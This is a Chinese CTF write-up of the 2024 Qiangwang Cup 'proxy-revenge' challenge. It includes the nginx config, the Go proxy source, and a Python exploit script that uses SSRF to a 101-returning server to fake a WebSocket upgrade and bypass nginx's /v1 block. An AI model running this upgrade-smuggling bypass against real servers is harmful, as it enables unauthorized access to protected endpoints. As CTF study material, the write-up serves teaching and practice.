2024强网杯

proxy-revenge

/etc/nginx/conf.d

1
2
3
4
5
6
7
8
# map.conf
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
# $http_upgrade是请求中Upgrade头的值
# 这里的含义是如果请求头中Upgrade为空(或没有这个头), 则$connection_upgrade=close
# 否则 = upgrade
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# proxy.conf
server {
listen 8000;

location ~ /v1 {
return 403;
}

location ~ /v2 {
proxy_pass http://localhost:8769;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade; # 原始请求的upgrade头
proxy_set_header Connection $connection_upgrade; # 'close' 或 'upgrade'
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
package main

import (
"bytes"
"crypto/rand"
"io"
"net/http"

"github.com/gin-gonic/gin"
)

type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
}

func main() {
key := make([]byte, 64)
if _, err := io.ReadFull(rand.Reader, key); err != nil {
panic(err.Error())
}
// cmd := exec.Command("/readflag")
// flag, err := cmd.CombinedOutput()
// if err != nil {
// panic(err.Error())
// }
// flagStr := string(flag)

// flagStr := "flag{good}"

r := gin.Default()

v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
c.JSON(http.StatusOK, gin.H{"flag": "hello"})
})
}

v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}

client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}

if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}

return nil
},
}

req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}

resp, err := client.Do(req)

if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

defer resp.Body.Close()

body, err := io.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

if bytes.Contains(body, []byte("flag")) {
c.JSON(http.StatusOK, gin.H{"status": "error", "message": "Flag is not allowed in response body"})
return
}

for i := 0; i < len(body); i++ {
body[i] ^= key[i%len(key)]
body[i] += key[(i+1)%len(key)]
body[i] -= key[(i+2)%len(key)]
body[i] ^= key[(i+3)%len(key)]
}

c.JSON(resp.StatusCode, gin.H{"status": "success", "body": body, "headers": resp.Header})
})
}

r.Run("127.0.0.1:8769")
}

v1路由禁止访问, v2是个代理服务, 想从v2 ssrf访问v1拿到flag被过滤了 (Range不生效 没想到其他绕过方法)

这里看到nginx配置中有不合群的upgrade

所以我们这里发个带Upgrade头的包, 那么nginx就会知道向后端发送一个协议升级的请求
这时如果后端返回status_code 101, nginx会认为升级成功, 后续该TCP连接上的请求将视为upgrade后的协议方式, 而不当作http
从而不会进行uri的匹配,进而绕过权限验证

如何控制后端返回101的响应呢? 刚好v2是个代理服务器嘛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#cracker

import requests
import json

target = "http://127.0.0.1:5870"
content = {"url": "http://10.201.65.210:5000/", "method": "get"} # 在http://10.201.65.210:5000启动一个返回101的python服务

# from flask import Flask, Response
# app = Flask(__file__)
# @app.route("/")
# def index():
# return "done", 101
# app.run("0.0.0.0", 5000)

# 使用 Session 可以复用 TCP 连接
with requests.Session() as session:
# 第一次请求
headers = {
"Upgrade": "websocket"
}
resp1 = session.post(f"{target}/v2/api/proxy", headers=headers, json=content) # 返回101, 欺骗nginx
print(resp1.status_code, resp1.text)

# 第二次请求,复用同一个 TCP 连接 (必须是刚才升级的连接)
resp2 = session.post(f"{target}/v1/api/flag") # nginx不认为是http请求, 不会进行检查
print(resp2.status_code, resp2.text)

2024强网杯
http://mekrina.github.io/blogs/wp/2024强网杯/
作者
John Doe
发布于
2025年9月23日
许可协议